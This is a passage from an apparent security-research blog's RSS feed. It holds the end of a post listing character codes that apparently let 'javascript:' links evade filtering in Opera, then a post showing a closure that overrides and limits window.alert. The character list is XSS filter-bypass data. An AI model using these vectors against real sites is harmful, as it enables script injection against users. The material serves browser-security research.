Char<span style="color: #339933;">:</span><span style="color: #CC0000;">41984</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">41984</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">43008</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">43008</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">44032</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">44032</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">44288</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">44288</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">44544</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">44544</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">44800</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">44800</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">45056</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">45056</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">45312</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">45312</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">45568</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">45568</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">45824</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">45824</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">46080</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">46080</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">46336</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">46336</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">46592</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">46592</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">46848</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">46848</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">47104</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">47104</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">47360</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">47360</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">47616</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">47616</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">47872</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">47872</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">48128</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">48128</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">48384</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">48384</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">48640</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">48640</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">48896</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">48896</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">49152</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">49152</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">49408</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">49408</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">49664</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">49664</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">49920</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">49920</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">50176</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">50176</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">50432</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">50432</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">50688</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">50688</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">50944</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">50944</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">51200</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">51200</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">51456</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">51456</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">51712</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">51712</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">51968</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">51968</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">52224</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">52224</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">52480</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">52480</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">52736</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">52736</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">52992</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">52992</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">53248</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">53248</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">53504</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">53504</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">53760</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">53760</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">54016</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">54016</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">54272</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">54272</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">54528</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">54528</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">54784</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">54784</span><span style="color: #339933;">:</span>
Char<span style="color: #339933;">:</span><span style="color: #CC0000;">55040</span><span style="color: #339933;">,</span>Link<span style="color: #339933;">:</span>javascript<span style="color: #339933;">&amp;</span>#<span style="color: #CC0000;">55040</span><span style="color: #339933;">:</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/05/08/opera-xss-vectors/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Overwriting native functions in javascript</title>
		<link>http://www.thespanner.co.uk/2009/04/08/overwriting-native-functions-in-javascript/</link>
		<comments>http://www.thespanner.co.uk/2009/04/08/overwriting-native-functions-in-javascript/#comments</comments>
		<pubDate>Wed, 08 Apr 2009 10:05:45 +0000</pubDate>
		<dc:creator>Gareth Heyes</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.thespanner.co.uk/?p=405</guid>
		<description><![CDATA[I research a lot of Javascript as part of my job and I&#8217;ve been toying with the idea of a perfect native function overwrite. The idea is that you can still call the native function and have control over it but once it&#8217;s been defined it cannot be modified only destroyed.
My idea was to redefine [...]]]></description>
			<content:encoded><![CDATA[<p>I research a lot of Javascript as part of my job and I&#8217;ve been toying with the idea of a perfect native function overwrite. The idea is that you can still call the native function and have control over it but once it&#8217;s been defined it cannot be modified only destroyed.</p>
<p>My idea was to redefine the alert function and to remove it once it reaches a certain limit, in order to avoid infinite prompts. I think I&#8217;ve been successful but I&#8217;m sure someone will point out if I haven&#8217;t. It works by storing the native function in a closure and holds the reference within it&#8217;s parent. The child function is then returned with two private variables the native function call and a counter. Because they are private variables they shouldn&#8217;t be available in the global scope and so only the parent of the the child function should have access to them.</p>
<p>This code is based on the assumption that it is run first before any other Javascript, so you can modify it after it&#8217;s been executed but you should no longer have access to it&#8217;s native code.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;">window.<span style="color: #000066;">alert</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>native<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
 <span style="color: #003366; font-weight: bold;">var</span> counter <span style="color: #339933;">=</span> 0;
 <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>str<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>    
    native<span style="color: #009900;">&#40;</span>str<span style="color: #009900;">&#41;</span>;
    <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>counter <span style="color: #339933;">&gt;</span> <span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      window.<span style="color: #000066;">alert</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">null</span>;
    <span style="color: #009900;">&#125;</span>
    counter++;
 <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#40;</span>window.<span style="color: #000066;">alert</span><span style="color: #009900;">&#41;</span>;</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.thespanner.co.uk/2009/04/08/overwriting-native-functions-in-javascript/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
